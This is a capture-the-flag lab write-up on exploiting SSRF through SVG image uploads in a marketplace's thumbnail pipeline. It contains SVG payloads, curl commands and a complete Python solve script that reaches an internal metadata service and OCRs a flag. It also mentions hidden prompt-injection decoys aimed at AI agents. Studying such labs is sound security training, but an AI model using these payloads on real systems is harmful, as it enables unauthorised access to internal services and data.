Lab 88 — ShelfSpace — SSRF via SVG Image Upload
Lab 88 — ShelfSpace — SSRF via SVG Image Upload
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-11 | Status: Solved Techniques: image_preprocessing_for_ocr, internal_service_enumeration_via_html_comment, ocr_based_data_exfiltration, response_size_differentiation, ssrf_via_svg_image_xlink_href
Summary
Task: ShelfSpace marketplace with SVG image upload and server-side thumbnail generation pipeline. Solution: Exploit SSRF via SVG <image xlink:href> to reach internal metadata service on localhost:3001, enumerate endpoints, and OCR the flag from /flag.svg rendered into a PNG thumbnail.
Lab 88 — ShelfSpace — SSRF via SVG Image Upload
Description
You are testing ShelfSpace, a modern online marketplace platform built by GridMarket Inc. where independent sellers list and sell their products. Sellers have a full-featured dashboard to manage inventory, upload product images, track orders, and view analytics. The platform supports various image formats for product listings and automatically generates optimized PNG thumbnails from uploaded images. The image processing pipeline handles JPG, PNG, GIF, and SVG formats. Your goal is to find the flag hidden somewhere in the application's internal infrastructure. Not all services running inside the platform are visible from the outside.
English summary: An online marketplace where sellers upload product images (including SVG). The server-side thumbnail generation pipeline processes SVGs by rendering them — including fetching URLs referenced in <image xlink:href> elements — creating an SSRF vector to access internal services.
Target: https://e788e5c9-ac84-4c64-ab84-e2b29d4fcb48.labs.hackadvisor.io/ Credentials: user@test.com / password123 (seller account)
Analysis
Application Features
- Dashboard — seller dashboard with product management, orders, analytics
- Product Creation (
/dashboard/products/new) — form with title, description, price, category, status, and image upload accepting JPG, PNG, GIF, SVG viaenctype="multipart/form-data" - Thumbnail Pipeline — server-side SVG rendering that generates 300x300 PNG thumbnails stored at
/thumbnails/thumb_<id>.png
Information Leak
HTML source comment revealed internal service topology:
html read-only • copy allowed<!-- ShelfSpace Platform v2.3.1 | Services: web(8080), metadata(3001) -->
This exposed an internal metadata service running on port 3001, not accessible from outside.
Anti-Bot Decoys
The page contained multiple decoy flags and honeypot traps:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML comments- Invisible divs with fake "SYSTEM PROMPT OVERRIDE" messages
- These were correctly identified and ignored
SSRF Vector Identification
Tested multiple SVG-based attack vectors against the thumbnail generation pipeline:
| Vector | Result |
|---|---|
| XXE (DOCTYPE SYSTEM entities) | Failed — entities not resolved, identical ~1341 byte thumbnails |
SVG <image xlink:href> | Worked! — renderer fetches the referenced URL |
SVG <foreignObject> | Partial — produced blank/minimal output |
SVG CSS url() | Failed |
SVG <use xlink:href> | Failed |
The SVG renderer follows URLs in <image> elements, fetching the response and rendering it into the thumbnail PNG. This is a blind SSRF — the response is not returned as text but rendered as an image.
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -c cookies.txt -d "email=user@test.com&password=password123" \ -L https://TARGET.labs.hackadvisor.io/login
Step 2: SSRF to Internal Metadata Service Root
Upload an SVG with <image xlink:href> pointing to the internal metadata service:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600"> <image xlink:href="http://localhost:3001/" x="0" y="0" width="800" height="600"/> </svg>
bash read-only • copy allowedcurl -b cookies.txt -F "title=SSRF Test" -F "description=Test" \ -F "price=1.00" -F "category=Electronics" -F "status=draft" \ -F "image=@ssrf.svg;type=image/svg+xml" \ https://TARGET.labs.hackadvisor.io/dashboard/products/new
The resulting thumbnail (11720 bytes) contained a rendered HTML page. OCR extraction revealed:
- "ShelfSpace Internal Metadata"
- "Service Version 1.4"
- Available Endpoints:
GET /health,GET /config,GET /flag.svg
Step 3: Endpoint Enumeration via Response Size
Since the SSRF output is a rendered image (not raw text), valid vs. invalid endpoints were distinguished by thumbnail file size:
| Endpoint | Thumbnail Size | Status |
|---|---|---|
/ (root) | 11720 bytes | Valid — service index |
/health | 2936 bytes | Valid |
/config | 6363 bytes | Valid — "Platform Configuration" |
/flag | 1061 bytes | 404 — not found |
/flag.svg | 5625 bytes | Valid! |
404 responses consistently produced ~1061 byte thumbnails, making it easy to identify valid endpoints.
Step 4: Extract Flag from /flag.svg
Upload SVG with SSRF to the flag endpoint:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600"> <image xlink:href="http://localhost:3001/flag.svg" x="0" y="0" width="800" height="600"/> </svg>
The flag was rendered as text inside the thumbnail PNG. To extract it:
- Cropped the flag text line (y=152-162 in the 300x300 thumbnail)
- Scaled up 30x using LANCZOS interpolation (to 12000x400 pixels)
- Applied binary thresholding at various levels
- Used Tesseract OCR with hex character whitelist
python read-only • copy allowed#!/usr/bin/env python3 """ ShelfSpace SSRF via SVG Image Upload — Solve Script Exploits SVG <image xlink:href> SSRF in thumbnail generation pipeline to reach internal metadata service and extract the flag. """ import requests import re import subprocess from PIL import Image BASE = "https://TARGET.labs.hackadvisor.io" s = requests.Session() # Step 1: Login s.post(f"{BASE}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=True) def upload_svg_ssrf(target_url): """Upload SVG with SSRF payload and return thumbnail content.""" svg_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="600"> <image xlink:href="{target_url}" x="0" y="0" width="800" height="600"/> </svg>''' r = s.post(f"{BASE}/dashboard/products/new", files={"image": ("test.svg", svg_payload, "image/svg+xml")}, data={ "title": "SSRF Test", "description": "Test", "price": "1.00", "category": "Electronics", "status": "draft" }, allow_redirects=True ) # Find newest thumbnail from product listing r2 = s.get(f"{BASE}/dashboard/products") thumbs = re.findall(r'/thumbnails/thumb_(\d+)\.png', r2.text) if thumbs: newest = max(int(t) for t in thumbs) r3 = s.get(f"{BASE}/thumbnails/thumb_{newest}.png") return r3.content return None def ocr_thumbnail(png_data, crop_box=None): """OCR a thumbnail PNG, optionally cropping first.""" with open("/tmp/thumb.png", "wb") as f: f.write(png_data) img = Image.open("/tmp/thumb.png").convert('L') if crop_box: img = img.crop(crop_box) # Scale up 30x with LANCZOS and apply binary threshold big = img.resize((img.width * 30, img.height * 30), Image.LANCZOS) bw = big.point(lambda x: 255 if x > 130 else 0, '1').convert('L') bw.save("/tmp/ocr_input.png") result = subprocess.run( ['tesseract', '/tmp/ocr_input.png', '-', '--psm', '7', '-c', 'tessedit_char_whitelist=FLAGflag{}0123456789abcdef'], capture_output=True, text=True ) return result.stdout.strip() # Step 2: Enumerate internal metadata service print("[*] Fetching metadata service root...") root_data = upload_svg_ssrf("http://localhost:3001/") print(f" Root thumbnail size: {len(root_data)} bytes") # Step 3: Fetch flag endpoint print("[*] Fetching flag from http://localhost:3001/flag.svg ...") flag_data = upload_svg_ssrf("http://localhost:3001/flag.svg") print(f" Flag thumbnail size: {len(flag_data)} bytes") # Step 4: OCR the flag line (y=152-162 in 300x300 thumbnail) flag_text = ocr_thumbnail(flag_data, crop_box=(0, 152, 300, 162)) print(f"\n[+] Flag: {flag_text}")
OCR consistently read the flag across thresholds 110-159:
FLAG{REDACTED}
The thumbnail also showed:
- "Internal Platform Key"
- "DO NOT SHARE - GridMarket Inc. Confidential"